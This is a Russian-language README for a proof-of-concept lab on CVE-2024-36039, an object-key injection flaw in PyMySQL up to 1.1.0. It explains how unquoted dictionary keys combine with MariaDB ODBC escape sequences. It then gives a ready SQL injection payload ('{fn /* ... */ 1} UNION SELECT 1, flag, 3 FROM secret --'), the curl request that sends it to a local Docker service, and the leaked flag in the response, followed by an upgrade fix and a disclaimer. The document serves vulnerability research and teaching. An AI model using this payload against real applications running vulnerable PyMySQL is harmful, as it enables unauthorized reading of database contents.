
PoC для CVE-2024-36039: Демонстрация SQL-инъекции через уязвимость сериализации Object-to-String в PyMySQL
Полная, воспроизводимая лабораторная работа Proof of Concept (PoC) для CVE-2024-36039, демонстрирующая, как уязвимость внедрения объектов в PyMySQL (версии <= 1.1.0) может быть повышена до полной SQL-инъекции с использованием ODBC-escape-последовательностей MariaDB.
CVE-2024-36039 — это уязвимость в PyMySQL, клиентской библиотеке MySQL на чистом Python.
Когда параметризованные запросы (например, execute("SELECT * FROM table WHERE data = %s", (my_dict,))) получают словарь Python, в котором ключи являются пользовательскими объектами, а не стандартными строками, PyMySQL использует метод __str__ или __repr__ объекта для его сериализации в SQL-строку.
Ошибка: PyMySQL забывает экранировать (заключить в одинарные кавычки) результирующую строку ключа объекта.
Это приводит к тому, что в SQL-выражение, отформатированное как словарь, вставляется неэкранированная, незакавыченная строка: {UnquotedObjectString: 'EscapedValue'}.
Сама по себе вставка {UnquotedKey: 'Value'} в запрос MariaDB вызовет синтаксическую ошибку 1064, поскольку {} не является стандартным синтаксисом данных SQL.
Однако MariaDB/MySQL поддерживает ODBC-escape-последовательности, которые используют фигурные скобки {}. Чтобы обойти синтаксическую ошибку, строка, следующая сразу за {, должна быть допустимым ключевым словом ODBC (например, d, t, ts, fn).
fn/* через свой метод __repr__.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB распознаёт начало ODBC-скалярной функции./*: "'*/ : MariaDB обрабатывает это как блочный комментарий. Двоеточие : и открывающая кавычка ', сгенерированные PyMySQL, полностью игнорируются! 1} : Завершает ODBC-функцию (фактически возвращая целое число 1). UNION SELECT 1, flag, 3 FROM secret : Выполняется внедрённая полезная нагрузка SQL.-- '"} : SQL-комментарий игнорирует остаток мусора ('}).Результат: Безупречная SQL-инъекция, обходящая как логику приложения, так и параметризацию PyMySQL!
Клонируйте этот репозиторий и запустите окружение:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Подождите около 15–20 секунд для полной инициализации контейнера MariaDB).
Отправьте стандартный JSON-запрос. Бэкенд преобразует ключ JSON в объект CustomKey.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Ответ: Вы получите синтаксическую ошибку SQL, указывающую, что {yamato: "'Any_value'"} не является допустимым SQL, что подтверждает точку внедрения.
Внедрите полезную нагрузку ODBC-escape-последовательности, чтобы обойти синтаксическую ошибку и извлечь скрытый флаг из таблицы secret.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Ответ (PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
Для устранения этой уязвимости обновите PyMySQL до версии 1.1.1 или выше.
В исправленных версиях разработчики гарантируют, что все ключи словарей, независимо от их типа, правильно экранируются и заключаются в кавычки перед вставкой в SQL-выражение.
pip install --upgrade PyMySQL
Отказ от ответственности: Этот репозиторий создан исключительно для образовательных и исследовательских целей. Не используйте эти методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
© 2026 от zenniskayy. Создано для более безопасного интернета.